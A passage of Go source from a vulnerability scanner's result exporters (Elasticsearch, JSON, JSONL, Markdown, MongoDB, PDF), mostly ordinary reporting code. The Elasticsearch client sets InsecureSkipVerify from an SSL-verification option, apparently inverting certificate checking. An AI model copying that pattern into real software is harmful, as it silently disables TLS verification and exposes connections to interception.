option.HttpClient.HTTPClient\n\t} else {\n\t\tclient = &http.Client{\n\t\t\tTimeout: 5 * time.Second,\n\t\t\tTransport: &http.Transport{\n\t\t\t\tMaxIdleConns:        10,\n\t\t\t\tMaxIdleConnsPerHost: 10,\n\t\t\t\tDialContext:         dialers.Fastdialer.Dial,\n\t\t\t\tDialTLSContext:      dialers.Fastdialer.DialTLS,\n\t\t\t\tTLSClientConfig:     &tls.Config{InsecureSkipVerify: option.SSLVerification},\n\t\t\t},\n\t\t}\n\t}\n\n\t// preparing url for elasticsearch\n\tscheme := \"http://\"\n\tif option.SSL {\n\t\tscheme = \"https://\"\n\t}\n\t// if authentication is required\n\tvar authentication string\n\tif len(option.Username) > 0 && len(option.Password) > 0 {\n\t\tauth := base64.StdEncoding.EncodeToString([]byte(option.Username + \":\" + option.Password))\n\t\tauth = \"Basic \" + auth\n\t\tauthentication = auth\n\t}\n\tvar addr string\n\tif option.Host != \"\" {\n\t\taddr = option.Host\n\t} else {\n\t\taddr = option.IP\n\t}\n\tif option.Port != 0 {\n\t\taddr += fmt.Sprintf(\":%d\", option.Port)\n\t}\n\turl := fmt.Sprintf(\"%s%s/%s/_doc\", scheme, addr, option.IndexName)\n\n\tei = &Exporter{\n\t\turl:            url,\n\t\tauthentication: authentication,\n\t\telasticsearch:  client,\n\t}\n\treturn ei, nil\n}\n\n// Export exports a passed result event to elasticsearch\nfunc (exporter *Exporter) Export(event *output.ResultEvent) error {\n\t// creating a request\n\treq, err := http.NewRequest(http.MethodPost, exporter.url, nil)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"could not make request\")\n\t}\n\tif len(exporter.authentication) > 0 {\n\t\treq.Header.Add(\"Authorization\", exporter.authentication)\n\t}\n\tuserAgent := useragent.PickRandom()\n\treq.Header.Set(\"User-Agent\", userAgent.Raw)\n\treq.Header.Add(\"Content-Type\", \"application/json\")\n\n\td := data{\n\t\tEvent:     event,\n\t\tTimestamp: time.Now().Format(time.RFC3339),\n\t}\n\tb, err := json.Marshal(&d)\n\tif err != nil {\n\t\treturn err\n\t}\n\treq.Body = io.NopCloser(bytes.NewReader(b))\n\n\tres, err := exporter.elasticsearch.Do(req)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\t_ = res.Body.Close()\n\t}()\n\n\tb, err = io.ReadAll(res.Body)\n\tif err != nil {\n\t\treturn errors.New(err.Error() + \"error thrown by elasticsearch \" + string(b))\n\t}\n\n\tif res.StatusCode >= 300 {\n\t\treturn errors.New(\"elasticsearch responded with an error: \" + string(b))\n\t}\n\treturn nil\n}\n\n// Close closes the exporter after operation\nfunc (exporter *Exporter) Close() error {\n\treturn nil\n}\n"
  },
  {
    "path": "pkg/reporting/exporters/jsonexporter/jsonexporter.go",
    "content": "package jsonexporter\n\nimport (\n\t\"os\"\n\t\"sync\"\n\n\t\"github.com/pkg/errors\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/output\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/utils/json\"\n)\n\ntype Exporter struct {\n\toptions *Options\n\tmutex   *sync.Mutex\n\trows    []output.ResultEvent\n}\n\n// Options contains the configuration options for JSON exporter client\ntype Options struct {\n\t// File is the file to export found JSON result to\n\tFile    string `yaml:\"file\"`\n\tOmitRaw bool   `yaml:\"omit-raw\"`\n}\n\n// New creates a new JSON exporter integration client based on options.\nfunc New(options *Options) (*Exporter, error) {\n\texporter := &Exporter{\n\t\tmutex:   &sync.Mutex{},\n\t\toptions: options,\n\t\trows:    []output.ResultEvent{},\n\t}\n\treturn exporter, nil\n}\n\n// Export appends the passed result event to the list of objects to be exported to\n// the resulting JSON file\nfunc (exporter *Exporter) Export(event *output.ResultEvent) error {\n\texporter.mutex.Lock()\n\tdefer exporter.mutex.Unlock()\n\n\tif exporter.options.OmitRaw {\n\t\tevent.Request = \"\"\n\t\tevent.Response = \"\"\n\t}\n\n\t// Add the event to the rows\n\texporter.rows = append(exporter.rows, *event)\n\n\treturn nil\n}\n\n// Close writes the in-memory data to the JSON file specified by options.JSONExport\n// and closes the exporter after operation\nfunc (exporter *Exporter) Close() error {\n\texporter.mutex.Lock()\n\tdefer exporter.mutex.Unlock()\n\n\t// Convert the rows to JSON byte array\n\tobj, err := json.Marshal(exporter.rows)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"failed to generate JSON report\")\n\t}\n\n\t// Attempt to write the JSON to file specified in options.JSONExport\n\tif err := os.WriteFile(exporter.options.File, obj, 0644); err != nil {\n\t\treturn errors.Wrap(err, \"failed to create JSON file\")\n\t}\n\n\treturn nil\n}\n"
  },
  {
    "path": "pkg/reporting/exporters/jsonl/jsonl.go",
    "content": "package jsonl\n\nimport (\n\t\"os\"\n\t\"sync\"\n\n\t\"github.com/pkg/errors\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/output\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/utils/json\"\n)\n\ntype Exporter struct {\n\toptions    *Options\n\tmutex      *sync.Mutex\n\trows       []output.ResultEvent\n\toutputFile *os.File\n}\n\n// Options contains the configuration options for JSONL exporter client\ntype Options struct {\n\t// File is the file to export found JSONL result to\n\tFile string `yaml:\"file\"`\n\t// OmitRaw whether to exclude the raw request and response from the output\n\tOmitRaw bool `yaml:\"omit-raw\"`\n\t// BatchSize the number of records to keep in memory before writing them out to the JSONL file or 0 to disable\n\t// batching (default)\n\tBatchSize int `yaml:\"batch-size\"`\n}\n\n// New creates a new JSONL exporter integration client based on options.\nfunc New(options *Options) (*Exporter, error) {\n\texporter := &Exporter{\n\t\tmutex:   &sync.Mutex{},\n\t\toptions: options,\n\t\trows:    []output.ResultEvent{},\n\t}\n\treturn exporter, nil\n}\n\n// Export appends the passed result event to the list of objects to be exported to the resulting JSONL file\nfunc (exporter *Exporter) Export(event *output.ResultEvent) error {\n\texporter.mutex.Lock()\n\tdefer exporter.mutex.Unlock()\n\n\tif exporter.options.OmitRaw {\n\t\tevent.Request = \"\"\n\t\tevent.Response = \"\"\n\t}\n\n\t// Add the event to the rows\n\texporter.rows = append(exporter.rows, *event)\n\n\t// If the batch size is greater than 0 and the number of rows has reached the batch, flush it to the database\n\tif exporter.options.BatchSize > 0 && len(exporter.rows) >= exporter.options.BatchSize {\n\t\terr := exporter.WriteRows()\n\t\tif err != nil {\n\t\t\t// The error is already logged, return it to bubble up to the caller\n\t\t\treturn err\n\t\t}\n\t}\n\n\treturn nil\n}\n\n// WriteRows writes all rows from the rows list to JSONL file and removes them from the list\nfunc (exporter *Exporter) WriteRows() error {\n\t// Open the file for writing if it's not already.\n\t// This will recreate the file if it exists, but keep the file handle so that batched writes within the same\n\t// execution are appended to the same file.\n\tvar err error\n\tif exporter.outputFile == nil {\n\t\t// Open the JSONL file for writing and create it if it doesn't exist\n\t\texporter.outputFile, err = os.OpenFile(exporter.options.File, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 0644)\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"failed to create JSONL file\")\n\t\t}\n\t}\n\n\t// Loop through the rows and write them, removing them as they're entered\n\tfor len(exporter.rows) > 0 {\n\t\trow := exporter.rows[0]\n\n\t\t// Convert the row to JSON byte array and append a trailing newline. This is treated as a single line in JSONL\n\t\tobj, err := json.Marshal(row)\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"failed to generate row for JSONL report\")\n\t\t}\n\n\t\tobj = append(obj, '\\n')\n\n\t\t// Attempt to append the JSON line to file specified in options.JSONLExport\n\t\tif _, err = exporter.outputFile.Write(obj); err != nil {\n\t\t\treturn errors.Wrap(err, \"failed to append JSONL line\")\n\t\t}\n\n\t\t// Remove the item from the list\n\t\texporter.rows = exporter.rows[1:]\n\t}\n\n\treturn nil\n}\n\n// Close writes the in-memory data to the JSONL file specified by options.JSONLExport and closes the exporter after\n// operation\nfunc (exporter *Exporter) Close() error {\n\texporter.mutex.Lock()\n\tdefer exporter.mutex.Unlock()\n\n\t// Write any remaining rows to the file\n\t// Write all pending rows\n\terr := exporter.WriteRows()\n\tif err != nil {\n\t\t// The error is already logged, return it to bubble up to the caller\n\t\treturn err\n\t}\n\n\t// Close the file\n\tif err := exporter.outputFile.Close(); err != nil {\n\t\treturn errors.Wrap(err, \"failed to close JSONL file\")\n\t}\n\n\treturn nil\n}\n"
  },
  {
    "path": "pkg/reporting/exporters/markdown/markdown.go",
    "content": "package markdown\n\nimport (\n\t\"bytes\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"strings\"\n\n\t\"github.com/google/uuid\"\n\t\"github.com/projectdiscovery/gologger\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/output\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/markdown/util\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/reporting/format\"\n\tfileutil \"github.com/projectdiscovery/utils/file\"\n\tstringsutil \"github.com/projectdiscovery/utils/strings\"\n)\n\nconst indexFileName = \"index.md\"\nconst extension = \".md\"\n\ntype Exporter struct {\n\tdirectory string\n\toptions   *Options\n}\n\n// Options contains the configuration options for GitHub issue tracker client\ntype Options struct {\n\t// Directory is the directory to export found results to\n\tDirectory string `yaml:\"directory\"`\n\tOmitRaw   bool   `yaml:\"omit-raw\"`\n\tSortMode  string `yaml:\"sort-mode\"`\n}\n\n// New creates a new markdown exporter integration client based on options.\nfunc New(options *Options) (*Exporter, error) {\n\tdirectory := options.Directory\n\tif options.Directory == \"\" {\n\t\tdir, err := os.Getwd()\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tdirectory = dir\n\t}\n\t_ = os.MkdirAll(directory, 0755)\n\n\t// index generation header\n\tdataHeader := util.CreateTableHeader(\"Hostname/IP\", \"Finding\", \"Severity\")\n\n\terr := os.WriteFile(filepath.Join(directory, indexFileName), []byte(dataHeader), 0644)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &Exporter{options: options, directory: directory}, nil\n}\n\n// Export exports a passed result event to markdown\nfunc (exporter *Exporter) Export(event *output.ResultEvent) error {\n\t// index file generation\n\tfile, err := os.OpenFile(filepath.Join(exporter.directory, indexFileName), os.O_APPEND|os.O_WRONLY, 0644)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\t_ = file.Close()\n\t}()\n\n\tfilename := createFileName(event)\n\n\t// If the sort mode is set to severity, host, or template, then we need to get a safe version of the name for a\n\t// subdirectory to store the file in.\n\t// This will allow us to sort the files into subdirectories based on the sort mode. The subdirectory will need to\n\t// be created if it does not exist.\n\tfileUrl := filename\n\tsubdirectory := \"\"\n\tswitch exporter.options.SortMode {\n\tcase \"severity\":\n\t\tsubdirectory = event.Info.SeverityHolder.Severity.String()\n\tcase \"host\":\n\t\tsubdirectory = event.Host\n\tcase \"template\":\n\t\tsubdirectory = event.TemplateID\n\t}\n\tif subdirectory != \"\" {\n\t\t// Sanitize the subdirectory name to remove any characters that are not allowed in a directory name\n\t\tsubdirectory = sanitizeFilename(subdirectory)\n\n\t\t// Prepend the subdirectory name to the filename for the fileUrl\n\t\tfileUrl = filepath.Join(subdirectory, filename)\n\n\t\t// Create the subdirectory if it does not exist\n\t\tif err = fileutil.CreateFolders(filepath.Join(exporter.directory, subdirectory)); err != nil {\n\t\t\tgologger.Warning().Msgf(\"Could not create subdirectory for markdown report: %s\", err)\n\t\t}\n\t}\n\n\thost := util.CreateLink(event.Host, fileUrl)\n\tfinding := event.TemplateID + \" \" + event.MatcherName\n\tseverity := event.Info.SeverityHolder.Severity.String()\n\n\t_, err = file.WriteString(util.CreateTableRow(host, finding, severity))\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tdataBuilder := &bytes.Buffer{}\n\tdataBuilder.WriteString(util.CreateHeading3(format.Summary(event)))\n\tdataBuilder.WriteString(\"\\n\")\n\tdataBuilder.WriteString(util.CreateHorizontalLine())\n\tdataBuilder.WriteString(format.CreateReportDescription(event, util.MarkdownFormatter{}, exporter.options.OmitRaw))\n\tdata := dataBuilder.Bytes()\n\n\treturn os.WriteFile(filepath.Join(exporter.directory, subdirectory, filename), data, 0644)\n}\n\nfunc createFileName(event *output.ResultEvent) string {\n\tfilenameBuilder := &strings.Builder{}\n\tfilenameBuilder.WriteString(event.TemplateID)\n\tfilenameBuilder.WriteString(\"-\")\n\tfilenameBuilder.WriteString(event.Host)\n\tfilenameBuilder.WriteString(\"-\")\n\tfilenameBuilder.WriteString(uuid.NewString())\n\n\tvar suffix string\n\tif event.MatcherName != \"\" {\n\t\tsuffix = event.MatcherName\n\t} else if event.ExtractorName != \"\" {\n\t\tsuffix = event.ExtractorName\n\t}\n\tif suffix != \"\" {\n\t\tfilenameBuilder.WriteRune('-')\n\t\tfilenameBuilder.WriteString(event.MatcherName)\n\t}\n\tfilenameBuilder.WriteString(extension)\n\treturn sanitizeFilename(filenameBuilder.String())\n}\n\n// Close closes the exporter after operation\nfunc (exporter *Exporter) Close() error {\n\treturn nil\n}\n\nfunc sanitizeFilename(filename string) string {\n\tif len(filename) > 256 {\n\t\tfilename = filename[0:255]\n\t}\n\treturn stringsutil.ReplaceAll(filename, \"_\", \"?\", \"/\", \">\", \"|\", \":\", \";\", \"*\", \"<\", \"\\\"\", \"'\", \" \")\n}\n"
  },
  {
    "path": "pkg/reporting/exporters/markdown/util/markdown_formatter.go",
    "content": "package util\n\nimport (\n\t\"fmt\"\n\t\"strings\"\n)\n\ntype MarkdownFormatter struct{}\n\nfunc (markdownFormatter MarkdownFormatter) MakeBold(text string) string {\n\treturn MakeBold(text)\n}\n\nfunc (markdownFormatter MarkdownFormatter) CreateCodeBlock(title string, content string, language string) string {\n\tescapedContent := escapeCodeBlockMarkdown(content)\n\treturn fmt.Sprintf(\"\\n%s\\n```%s\\n%s\\n```\\n\", markdownFormatter.MakeBold(title), language, escapedContent)\n}\n\nfunc (markdownFormatter MarkdownFormatter) CreateTable(headers []string, rows [][]string) (string, error) {\n\treturn CreateTable(headers, rows)\n}\n\nfunc (markdownFormatter MarkdownFormatter) CreateLink(title string, url string) string {\n\treturn CreateLink(title, url)\n}\n\nfunc (markdownFormatter MarkdownFormatter) CreateHorizontalLine() string {\n\treturn CreateHorizontalLine()\n}\n\n// escapeCodeBlockMarkdown only escapes the bare minimum characters needed\n// for code blocks and other sections where readability is important\n//\n// For content inside code blocks, we only need to escape backticks\n// and backslashes to prevent breaking out\nfunc escapeCodeBlockMarkdown(text string) string {\n\tminimalChars := []string{\n\t\t\"\\\\\", \"`\",\n\t}\n\n\tresult := text\n\tfor _, char := range minimalChars {\n\t\tresult = strings.ReplaceAll(result, char, \"\\\\\"+char)\n\t}\n\treturn result\n}\n"
  },
  {
    "path": "pkg/reporting/exporters/markdown/util/markdown_utils.go",
    "content": "package util\n\nimport (\n\t\"bytes\"\n\t\"fmt\"\n\t\"strings\"\n\n\t\"github.com/projectdiscovery/utils/errkit\"\n)\n\nfunc CreateLink(title string, url string) string {\n\treturn fmt.Sprintf(\"[%s](%s)\", title, url)\n}\n\nfunc MakeBold(text string) string {\n\treturn \"**\" + text + \"**\"\n}\n\nfunc CreateTable(headers []string, rows [][]string) (string, error) {\n\tbuilder := &bytes.Buffer{}\n\theaderSize := len(headers)\n\tif headers == nil || headerSize == 0 {\n\t\treturn \"\", errkit.New(\"No headers provided\")\n\t}\n\n\tbuilder.WriteString(CreateTableHeader(headers...))\n\n\tfor _, row := range rows {\n\t\trowSize := len(row)\n\t\tif rowSize == headerSize {\n\t\t\tbuilder.WriteString(CreateTableRow(row...))\n\t\t} else if rowSize < headerSize {\n\t\t\textendedRows := make([]string, headerSize)\n\t\t\tcopy(extendedRows, row)\n\t\t\tbuilder.WriteString(CreateTableRow(extendedRows...))\n\t\t} else {\n\t\t\treturn \"\", errkit.New(\"Too many columns for the given headers\")\n\t\t}\n\t}\n\n\treturn builder.String(), nil\n}\n\nfunc CreateTableHeader(headers ...string) string {\n\theaderSize := len(headers)\n\tif headers == nil || headerSize == 0 {\n\t\treturn \"\"\n\t}\n\n\treturn CreateTableRow(headers...) +\n\t\t\"|\" + strings.Repeat(\" --- |\", headerSize) + \"\\n\"\n}\n\nfunc CreateTableRow(elements ...string) string {\n\treturn fmt.Sprintf(\"| %s |\\n\", strings.Join(elements, \" | \"))\n}\n\nfunc CreateHeading3(text string) string {\n\treturn \"### \" + text + \"\\n\"\n}\n\nfunc CreateHorizontalLine() string {\n\t// for regular markdown 3 dashes are enough, but for Jira the minimum is 4\n\treturn \"----\\n\"\n}\n"
  },
  {
    "path": "pkg/reporting/exporters/markdown/util/markdown_utils_test.go",
    "content": "package util\n\nimport (\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestMarkDownHeaderCreation(t *testing.T) {\n\ttestCases := []struct {\n\t\theaders       []string\n\t\texpectedValue string\n\t}{\n\t\t{nil, \"\"},\n\t\t{[]string{}, \"\"},\n\t\t{[]string{\"one\"}, \"| one |\\n| --- |\\n\"},\n\t\t{[]string{\"one\", \"two\"}, \"| one | two |\\n| --- | --- |\\n\"},\n\t\t{[]string{\"one\", \"two\", \"three\"}, \"| one | two | three |\\n| --- | --- | --- |\\n\"},\n\t}\n\n\tfor _, currentTestCase := range testCases {\n\t\tt.Run(strings.Join(currentTestCase.headers, \",\"), func(t1 *testing.T) {\n\t\t\trequire.Equal(t1, CreateTableHeader(currentTestCase.headers...), currentTestCase.expectedValue)\n\t\t})\n\t}\n}\n\nfunc TestCreateTemplateInfoTableTooManyColumns(t *testing.T) {\n\ttable, err := CreateTable([]string{\"one\", \"two\"}, [][]string{\n\t\t{\"a\", \"b\", \"c\"},\n\t\t{\"d\"},\n\t\t{\"e\", \"f\", \"g\"},\n\t\t{\"h\", \"i\"},\n\t})\n\n\trequire.NotNil(t, err)\n\trequire.Empty(t, table)\n}\n\nfunc TestCreateTemplateInfoTable1Column(t *testing.T) {\n\ttable, err := CreateTable([]string{\"one\"}, [][]string{{\"a\"}, {\"b\"}, {\"c\"}})\n\n\texpected := `| one |\n| --- |\n| a |\n| b |\n| c |\n`\n\n\trequire.Nil(t, err)\n\trequire.Equal(t, expected, table)\n}\n\nfunc TestCreateTemplateInfoTable2Columns(t *testing.T) {\n\ttable, err := CreateTable([]string{\"one\", \"two\"}, [][]string{\n\t\t{\"a\", \"b\"},\n\t\t{\"c\"},\n\t\t{\"d\", \"e\"},\n\t})\n\n\texpected := `| one | two |\n| --- | --- |\n| a | b |\n| c |  |\n| d | e |\n`\n\n\trequire.Nil(t, err)\n\trequire.Equal(t, expected, table)\n}\n\nfunc TestCreateTemplateInfoTable3Columns(t *testing.T) {\n\ttable, err := CreateTable([]string{\"one\", \"two\", \"three\"}, [][]string{\n\t\t{\"a\", \"b\", \"c\"},\n\t\t{\"d\"},\n\t\t{\"e\", \"f\", \"g\"},\n\t\t{\"h\", \"i\"},\n\t})\n\n\texpected := `| one | two | three |\n| --- | --- | --- |\n| a | b | c |\n| d |  |  |\n| e | f | g |\n| h | i |  |\n`\n\n\trequire.Nil(t, err)\n\trequire.Equal(t, expected, table)\n}\n\nfunc TestEscapeCodeBlockMarkdown(t *testing.T) {\n\ttestCases := []struct {\n\t\tname     string\n\t\tinput    string\n\t\texpected string\n\t}{\n\t\t{\n\t\t\tname:     \"no special characters\",\n\t\t\tinput:    \"normal text without special chars\",\n\t\t\texpected: \"normal text without special chars\",\n\t\t},\n\t\t{\n\t\t\tname:     \"with backticks\",\n\t\t\tinput:    \"text with `backticks` inside\",\n\t\t\texpected: \"text with \\\\`backticks\\\\` inside\",\n\t\t},\n\t\t{\n\t\t\tname:     \"with backslashes\",\n\t\t\tinput:    \"text with \\\\ backslash\",\n\t\t\texpected: \"text with \\\\\\\\ backslash\",\n\t\t},\n\t\t{\n\t\t\tname:     \"with both backticks and backslashes\",\n\t\t\tinput:    \"text with `backticks` and \\\\ backslash\",\n\t\t\texpected: \"text with \\\\`backticks\\\\` and \\\\\\\\ backslash\",\n\t\t},\n\t\t{\n\t\t\tname:     \"with code block\",\n\t\t\tinput:    \"```code block```\",\n\t\t\texpected: \"\\\\`\\\\`\\\\`code block\\\\`\\\\`\\\\`\",\n\t\t},\n\t\t{\n\t\t\tname:     \"with escaped backtick\",\n\t\t\tinput:    \"escaped \\\\` backtick\",\n\t\t\texpected: \"escaped \\\\\\\\\\\\` backtick\",\n\t\t},\n\t\t{\n\t\t\tname:     \"with multiple consecutive backticks\",\n\t\t\tinput:    \"``double backticks``\",\n\t\t\texpected: \"\\\\`\\\\`double backticks\\\\`\\\\`\",\n\t\t},\n\t}\n\n\tfor _, tc := range testCases {\n\t\tt.Run(tc.name, func(t *testing.T) {\n\t\t\tresult := escapeCodeBlockMarkdown(tc.input)\n\t\t\trequire.Equal(t, tc.expected, result, \"Failed to properly escape markdown for code blocks\")\n\t\t})\n\t}\n}\n"
  },
  {
    "path": "pkg/reporting/exporters/mongo/mongo.go",
    "content": "package mongo\n\nimport (\n\t\"context\"\n\t\"net/url\"\n\t\"os\"\n\t\"strings\"\n\t\"sync\"\n\n\t\"github.com/pkg/errors\"\n\t\"github.com/projectdiscovery/gologger\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/output\"\n\t\"go.mongodb.org/mongo-driver/mongo\"\n\n\tmongooptions \"go.mongodb.org/mongo-driver/mongo/options\"\n)\n\ntype Exporter struct {\n\toptions    *Options\n\tmutex      *sync.Mutex\n\trows       []output.ResultEvent\n\tcollection *mongo.Collection\n\tconnection *mongo.Client\n}\n\n// Options contains the configuration options for MongoDB exporter client\ntype Options struct {\n\t// ConnectionString is the connection string to the MongoDB database\n\tConnectionString string `yaml:\"connection-string\"`\n\t// CollectionName is the name of the MongoDB collection in which to store the results\n\tCollectionName string `yaml:\"collection-name\"`\n\t// OmitRaw excludes the Request and Response from the results (helps with filesize)\n\tOmitRaw bool `yaml:\"omit-raw\"`\n\t// BatchSize determines the number of results to be kept in memory before writing it to the database or 0 to\n\t//\tpersist all in memory and write all results at the end (default)\n\tBatchSize int `yaml:\"batch-size\"`\n}\n\n// New creates a new MongoDB exporter integration client based on options.\nfunc New(options *Options) (*Exporter, error) {\n\texporter := &Exporter{\n\t\tmutex:   &sync.Mutex{},\n\t\toptions: options,\n\t\trows:    []output.ResultEvent{},\n\t}\n\n\t// If the environment variable for the connection string is set, then use that instead. This allows for easier\n\t// management of sensitive items such as credentials\n\tenvConnectionString := os.Getenv(\"MONGO_CONNECTION_STRING\")\n\tif envConnectionString != \"\" {\n\t\toptions.ConnectionString = envConnectionString\n\t\tgologger.Info().Msgf(\"Using connection string from environment variable MONGO_CONNECTION_STRING\")\n\t}\n\n\t// Create the connection to the database\n\tclientOptions := mongooptions.Client().ApplyURI(options.ConnectionString)\n\n\t// Create a new client and connect to the MongoDB server\n\tclient, err := mongo.Connect(context.TODO(), clientOptions)\n\tif err != nil {\n\t\tgologger.Error().Msgf(\"Error creating MongoDB client: %s\", err)\n\t\treturn nil, err\n\t}\n\n\t// Ensure the connection is valid\n\terr = client.Ping(context.Background(), nil)\n\tif err != nil {\n\t\tgologger.Error().Msgf(\"Error connecting to MongoDB: %s\", err)\n\t\treturn nil, err\n\t}\n\n\t// Get the database from the connection string to set the database and collection\n\tparsed, err := url.Parse(options.ConnectionString)\n\tif err != nil {\n\t\tgologger.Error().Msgf(\"Error parsing connection string: %s\", options.ConnectionString)\n\t\treturn nil, err\n\t}\n\n\tdatabaseName := strings.TrimPrefix(parsed.Path, \"/\")\n\n\tif databaseName == \"\" {\n\t\treturn nil, errors.New(\"error getting database name from connection string\")\n\t}\n\n\texporter.connection = client\n\texporter.collection = client.Database(databaseName).Collection(options.CollectionName)\n\n\treturn exporter, nil\n}\n\n// Export writes a result document to the configured MongoDB collection\n// in the database configured by the connection string\nfunc (exporter *Exporter) Export(event *output.ResultEvent) error {\n\texporter.mutex.Lock()\n\tdefer exporter.mutex.Unlock()\n\n\tif exporter.options.OmitRaw {\n\t\tevent.Request = \"\"\n\t\tevent.Response = \"\"\n\t}\n\n\t// Add the row to the queue to be processed\n\texporter.rows = append(exporter.rows, *event)\n\n\t// If the batch size is greater than 0 and the number of rows has reached the batch, flush it to the database\n\tif exporter.options.BatchSize > 0 && len(exporter.rows) >= exporter.options.BatchSize {\n\t\terr := exporter.WriteRows()\n\t\tif err != nil {\n\t\t\t// The error is already logged, return it to bubble up to the caller\n\t\t\treturn err\n\t\t}\n\t}\n\n\treturn nil\n}\n\n// WriteRows writes all rows from the rows list to the MongoDB collection and removes them from the list\nfunc (exporter *Exporter) WriteRows() error {\n\t// Loop through the rows and write them, removing them as they're entered\n\tfor len(exporter.rows) > 0 {\n\t\tdata := exporter.rows[0]\n\n\t\t// Write the data to the database\n\t\t_, err := exporter.collection.InsertOne(context.TODO(), data)\n\t\tif err != nil {\n\t\t\tgologger.Fatal().Msgf(\"Error inserting record into MongoDB collection: %s\", err)\n\t\t\treturn err\n\t\t}\n\n\t\t// Remove the item from the list\n\t\texporter.rows = exporter.rows[1:]\n\t}\n\n\treturn nil\n}\n\nfunc (exporter *Exporter) Close() error {\n\texporter.mutex.Lock()\n\tdefer exporter.mutex.Unlock()\n\n\t// Write all pending rows\n\terr := exporter.WriteRows()\n\tif err != nil {\n\t\t// The error is already logged, return it to bubble up to the caller\n\t\treturn err\n\t}\n\n\t// Close the database connection\n\terr = exporter.connection.Disconnect(context.TODO())\n\tif err != nil {\n\t\tgologger.Error().Msgf(\"Error disconnecting from MongoDB: %s\", err)\n\t\treturn err\n\t}\n\n\treturn nil\n}\n"
  },
  {
    "path": "pkg/reporting/exporters/pdf/pdf.go",
    "content": "package pdf\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"strings\"\n\t\"sync\"\n\t\"time\"\n\n\tfpdf \"github.com/go-pdf/fpdf\"\n\t\"github.com/pkg/errors\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/catalog/config\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/output\"\n)\n\nconst (\n\tdefaultFile = \"nuclei-report.pdf\"\n\tmaxRawLen   = 4096\n)\n\n// Options contains the configuration options for PDF exporter client.\ntype Options struct {\n\t// File is the file to export found results to in PDF format.\n\tFile string `yaml:\"file\"`\n\t// OmitRaw omits request/response from the report.\n\tOmitRaw bool `yaml:\"omit-raw\"`\n}\n\n// Exporter is an exporter for nuclei PDF output format.\ntype Exporter struct {\n\toptions *Options\n\tmu      sync.Mutex\n\tresults []output.ResultEvent\n}\n\n// New creates a new PDF exporter integration client based on options.\nfunc New(options *Options) (*Exporter, error) {\n\topts := &Options{}\n\tif options != nil {\n\t\t*opts = *options\n\t}\n\tif opts.File == \"\" {\n\t\topts.File = defaultFile\n\t}\n\treturn &Exporter{\n\t\toptions: opts,\n\t\tresults: make([]output.ResultEvent, 0),\n\t}, nil\n}\n\n// Export appends a result event to the report buffer.\nfunc (e *Exporter) Export(event *output.ResultEvent) error {\n\tif event == nil {\n\t\treturn nil\n\t}\n\te.mu.Lock()\n\tdefer e.mu.Unlock()\n\trow := *event\n\tif e.options.OmitRaw {\n\t\trow.Request = \"\"\n\t\trow.Response = \"\"\n\t} else {\n\t\tif len(row.Request) > maxRawLen {\n\t\t\trow.Request = row.Request[:maxRawLen] + \"\\n[truncated]\"\n\t\t}\n\t\tif len(row.Response) > maxRawLen {\n\t\t\trow.Response = row.Response[:maxRawLen] + \"\\n[truncated]\"\n\t\t}\n\t}\n\te.results = append(e.results, row)\n\treturn nil\n}\n\n// Close generates the PDF report and writes it to disk.\n// Returns nil without creating a file when there are no results.\nfunc (e *Exporter) Close() error {\n\te.mu.Lock()\n\tsnapshot := make([]output.ResultEvent, len(e.results))\n\tcopy(snapshot, e.results)\n\topts := *e.options\n\te.mu.Unlock()\n\n\tif len(snapshot) == 0 {\n\t\treturn nil\n\t}\n\tif dir := filepath.Dir(opts.File); dir != \".\" && dir != \"\" {\n\t\tif err := os.MkdirAll(dir, 0755); err != nil {\n\t\t\treturn errors.Wrap(err, \"could not create directory for PDF report\")\n\t\t}\n\t}\n\treturn generate(&opts, snapshot)\n}\n\nfunc generate(opts *Options, results []output.ResultEvent) error {\n\tdoc := fpdf.New(\"P\", \"mm\", \"A4\", \"\")\n\tdoc.SetMargins(12, 15, 12)\n\tdoc.SetAutoPageBreak(true, 18)\n\trenderHeader(doc)\n\trenderSummary(doc, results)\n\trenderFindings(doc, results)\n\tif err := doc.OutputFileAndClose(opts.File); err != nil {\n\t\treturn errors.Wrap(err, \"could not write PDF report\")\n\t}\n\treturn nil\n}\n\nfunc renderHeader(doc *fpdf.Fpdf) {\n\tdoc.AddPage()\n\tdoc.SetFont(\"Helvetica\", \"B\", 18)\n\tdoc.SetTextColor(30, 30, 30)\n\tdoc.CellFormat(0, 10, \"Nuclei Vulnerability Scan Report\", \"\", 1, \"C\", false, 0, \"\")\n\tdoc.SetFont(\"Helvetica\", \"\", 9)\n\tdoc.SetTextColor(100, 100, 100)\n\tdoc.CellFormat(0, 5, \"Generated: \"+time.Now().UTC().Format(\"2006-01-02 15:04:05 UTC\"), \"\", 1, \"C\", false, 0, \"\")\n\tdoc.CellFormat(0, 5, \"Engine: Nuclei \"+config.Version, \"\", 1, \"C\", false, 0, \"\")\n\tdoc.Ln(6)\n}\n\ntype rgb struct{ r, g, b int }\n\nvar sevColors = map[string]rgb{\n\t\"critical\": {128, 0, 128},\n\t\"high\":     {200, 0, 0},\n\t\"medium\":   {200, 100, 0},\n\t\"low\":      {170, 140, 0},\n\t\"info\":     {0, 100, 180},\n\t\"unknown\":  {100, 100, 100},\n}\n\nvar sevOrder = []string{\"critical\", \"high\", \"medium\", \"low\", \"info\", 